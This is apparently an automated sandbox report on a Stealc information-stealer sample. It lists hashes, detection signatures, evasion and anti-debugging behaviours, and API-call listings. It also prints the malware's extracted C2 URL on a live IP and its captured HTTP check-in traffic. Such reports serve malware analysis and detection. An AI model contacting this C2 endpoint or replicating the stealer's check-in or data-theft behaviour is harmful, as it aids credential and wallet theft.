Edit tour

Windows Analysis Report
mJXdkcP4Wx.exe

Overview

General Information

Sample name:	mJXdkcP4Wx.exe renamed because original name is a hash value
Original sample name:	be89dddee1630cde41b95d2df6070bd3.exe
Analysis ID:	1529199
MD5:	be89dddee1630cde41b95d2df6070bd3
SHA1:	bceb2f765aad912ea1e1e3d324f215baece7fcb5
SHA256:	e3cd6c9514e46e4bd1e42240e6ec7a82322fe4792a270312ff1ae096b3c4e16f
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Searches for specific processes (likely to inject)

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

mJXdkcP4Wx.exe (PID: 3496 cmdline: "C:\Users\user\Desktop\mJXdkcP4Wx.exe" MD5: BE89DDDEE1630CDE41B95D2DF6070BD3)

WerFault.exe (PID: 1996 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 804 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 4744 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 804 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3680 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 828 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6728 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 860 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2796 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 884 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7104 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 1104 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 360 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 1060 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://62.122.184.144/f88d87a7e087e100.php", "Botnet": "default5_pal"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2338388103.0000000000793000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2338357081.0000000000769000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xfa0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.2081526955.0000000002310000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: mJXdkcP4Wx.exe PID: 3496	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: mJXdkcP4Wx.exe PID: 3496	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.mJXdkcP4Wx.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.mJXdkcP4Wx.exe.2310000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.mJXdkcP4Wx.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.mJXdkcP4Wx.exe.2310000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.mJXdkcP4Wx.exe.22c0e67.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.mJXdkcP4Wx.exe.22c0e67.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T18:48:09.342481+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	62.122.184.144	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000003.2081526955.0000000002310000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://62.122.184.144/f88d87a7e087e100.php", "Botnet": "default5_pal"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: mJXdkcP4Wx.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	0_2_0040C820
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407240
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409AC0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00418EA0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409B60
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CCA87 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	0_2_022CCA87
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022C74A7 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_022C74A7
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022C9D27 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_022C9D27
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D9107 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_022D9107
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022C9DC7 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_022C9DC7

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Unpacked PE file: 0.2.mJXdkcP4Wx.exe.400000.1.unpack

Source: mJXdkcP4Wx.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00414570
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CE697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_022CE697
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D3B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_022D3B17
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D4B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_022D4B77
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CEF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_022CEF87
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D47D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_022D47D7
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CE077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_022CE077
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CDCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_022CDCE7
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CF8F1 FindFirstFileA,	0_2_022CF8F1
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CC0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_022CC0D7
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022C1937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_022C1937
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D4107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_022D4107
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CF917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_022CF917

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 62.122.184.144:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://62.122.184.144/f88d87a7e087e100.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 62.122.184.144Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /f88d87a7e087e100.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGCHost: 62.122.184.144Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 41 35 37 34 41 36 33 46 44 31 34 31 33 30 36 38 39 37 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 35 5f 70 61 6c 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 2d 2d 0d 0a Data Ascii: ------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="hwid"EDA574A63FD14130689737------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="build"default5_pal------AKECBFBAEBKJJJJKFCGC--

Source: Joe Sandbox View

ASN Name: GORSET-ASRU GORSET-ASRU

Source: unknown	TCP traffic detected without corresponding DNS query: 62.122.184.144
Source: unknown	TCP traffic detected without corresponding DNS query: 62.122.184.144
Source: unknown	TCP traffic detected without corresponding DNS query: 62.122.184.144
Source: unknown	TCP traffic detected without corresponding DNS query: 62.122.184.144
Source: unknown	TCP traffic detected without corresponding DNS query: 62.122.184.144
Source: unknown	TCP traffic detected without corresponding DNS query: 62.122.184.144
Source: unknown	TCP traffic detected without corresponding DNS query: 62.122.184.144
Source: unknown	TCP traffic detected without corresponding DNS query: 62.122.184.144

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00404880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 62.122.184.144Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /f88d87a7e087e100.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGCHost: 62.122.184.144Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 41 35 37 34 41 36 33 46 44 31 34 31 33 30 36 38 39 37 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 35 5f 70 61 6c 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 2d 2d 0d 0a Data Ascii: ------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="hwid"EDA574A63FD14130689737------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="build"default5_pal------AKECBFBAEBKJJJJKFCGC--

Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.0000000000793000.00000004.00000020.00020000.00000000.sdmp, mJXdkcP4Wx.exe, 00000000.00000002.2338273179.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.0000000000793000.00000004.00000020.00020000.00000000.sdmp, mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144/
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144/Q
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp, mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144/f88d87a7e087e100.php
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144/f88d87a7e087e100.php8
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144/f88d87a7e087e100.phpH
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144/f88d87a7e087e100.phpT
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144/f88d87a7e087e100.phpj
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144/f88d87a7e087e100.phpr
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.122.184.144/u
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2338357081.0000000000769000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: String function: 004045C0 appears 317 times

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 804

Source: mJXdkcP4Wx.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2338357081.0000000000769000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: mJXdkcP4Wx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/29@0/1

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00419600

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413720

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\XC0MQ0KW.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3496

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\12ae768d-00ef-4936-a561-54d8ca14f99a

Jump to behavior

Source: mJXdkcP4Wx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\mJXdkcP4Wx.exe "C:\Users\user\Desktop\mJXdkcP4Wx.exe"
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 804
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 804
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 828
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 860
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 884
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 1104
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 1060

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: wuliwiyixenotafube.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: iphlpapi.dll	Jump to behavior
